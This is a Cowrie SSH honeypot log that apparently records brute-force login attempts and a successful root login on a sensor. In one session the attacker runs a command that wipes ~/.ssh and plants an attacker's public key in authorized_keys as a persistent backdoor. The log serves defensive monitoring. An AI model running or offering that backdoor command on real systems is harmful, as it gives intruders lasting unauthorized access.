{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:38.453957Z","src_ip":"160.191.244.236","session":"4ec95e225c52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:38.682954Z","src_ip":"160.191.244.236","session":"4ec95e225c52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:39.223275Z","src_ip":"160.191.244.236","session":"4ec95e225c52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:39.226377Z","src_ip":"160.191.244.236","session":"4ec95e225c52","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:39.464954Z","src_ip":"160.191.244.236","session":"4ec95e225c52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:39.467324Z","src_ip":"160.191.244.236","session":"4ec95e225c52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":53142,"dst_ip":"159.203.135.109","dst_port":22,"session":"5667ed3806fe","protocol":"ssh","message":"New connection: 160.191.244.236:53142 (159.203.135.109:22) [session: 5667ed3806fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:39.691073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:39.695006Z","src_ip":"160.191.244.236","session":"5667ed3806fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:39.928246Z","src_ip":"160.191.244.236","session":"5667ed3806fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:40.892518Z","src_ip":"160.191.244.236","session":"5667ed3806fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:42.128674Z","src_ip":"160.191.244.236","session":"5667ed3806fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":53882,"dst_ip":"159.203.135.109","dst_port":22,"session":"636592000f11","protocol":"ssh","message":"New connection: 160.191.244.236:53882 (159.203.135.109:22) [session: 636592000f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:42.362381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:42.366041Z","src_ip":"160.191.244.236","session":"636592000f11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:42.596724Z","src_ip":"160.191.244.236","session":"636592000f11","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:43.562827Z","src_ip":"160.191.244.236","session":"636592000f11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:43.801639Z","src_ip":"160.191.244.236","session":"4ec95e225c52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:43.806842Z","src_ip":"160.191.244.236","session":"636592000f11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":36486,"dst_ip":"159.203.135.109","dst_port":22,"session":"ead9b1a012eb","protocol":"ssh","message":"New connection: 193.32.162.145:36486 (159.203.135.109:22) [session: ead9b1a012eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:27:19.784693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:27:19.788020Z","src_ip":"193.32.162.145","session":"ead9b1a012eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:27:19.893396Z","src_ip":"193.32.162.145","session":"ead9b1a012eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"geyser","message":"login attempt [solana/geyser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:27:20.207079Z","src_ip":"193.32.162.145","session":"ead9b1a012eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:27:21.322459Z","src_ip":"193.32.162.145","session":"ead9b1a012eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.63.205","src_port":55018,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b22d14b5416","protocol":"ssh","message":"New connection: 196.188.63.205:55018 (159.203.135.109:22) [session: 6b22d14b5416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:27:28.929176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:27:28.933378Z","src_ip":"196.188.63.205","session":"6b22d14b5416","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:27:29.142331Z","src_ip":"196.188.63.205","session":"6b22d14b5416","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crm","password":"crm","message":"login attempt [crm/crm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:27:29.997855Z","src_ip":"196.188.63.205","session":"6b22d14b5416","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:27:31.209488Z","src_ip":"196.188.63.205","session":"6b22d14b5416","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.28.214","src_port":60376,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaf9d32afa6c","protocol":"ssh","message":"New connection: 154.221.28.214:60376 (159.203.135.109:22) [session: aaf9d32afa6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:28:36.212875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:28:36.217309Z","src_ip":"154.221.28.214","session":"aaf9d32afa6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:28:36.422163Z","src_ip":"154.221.28.214","session":"aaf9d32afa6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"diego","password":"diego","message":"login attempt [diego/diego] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:28:37.274872Z","src_ip":"154.221.28.214","session":"aaf9d32afa6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:28:38.481971Z","src_ip":"154.221.28.214","session":"aaf9d32afa6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":59428,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee6b56eb56da","protocol":"ssh","message":"New connection: 160.191.244.236:59428 (159.203.135.109:22) [session: ee6b56eb56da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:28:43.264384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:28:43.268141Z","src_ip":"160.191.244.236","session":"ee6b56eb56da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:28:43.496500Z","src_ip":"160.191.244.236","session":"ee6b56eb56da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kira","password":"12345678","message":"login attempt [kira/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:28:44.428190Z","src_ip":"160.191.244.236","session":"ee6b56eb56da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:28:45.666413Z","src_ip":"160.191.244.236","session":"ee6b56eb56da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.164.98.12","src_port":16790,"dst_ip":"159.203.135.109","dst_port":22,"session":"68d53e7feea9","protocol":"ssh","message":"New connection: 119.164.98.12:16790 (159.203.135.109:22) [session: 68d53e7feea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:28:53.102200Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.242.168.118","src_port":28595,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ae231828411","protocol":"ssh","message":"New connection: 182.242.168.118:28595 (159.203.135.109:22) [session: 9ae231828411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:29:09.714540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:29:09.718182Z","src_ip":"182.242.168.118","session":"9ae231828411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2aec6b44b06bec95d73f66b5d30cb69a","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2aec6b44b06bec95d73f66b5d30cb69a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:29:10.032829Z","src_ip":"182.242.168.118","session":"9ae231828411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.4","message":"Connection lost after 18.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:29:11.525628Z","src_ip":"119.164.98.12","session":"68d53e7feea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:29:24.715446Z","src_ip":"182.242.168.118","session":"9ae231828411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":57882,"dst_ip":"159.203.135.109","dst_port":22,"session":"86335f7e0134","protocol":"ssh","message":"New connection: 2.57.122.96:57882 (159.203.135.109:22) [session: 86335f7e0134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:29:34.248529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:29:34.263818Z","src_ip":"2.57.122.96","session":"86335f7e0134","protocol":"ssh"}
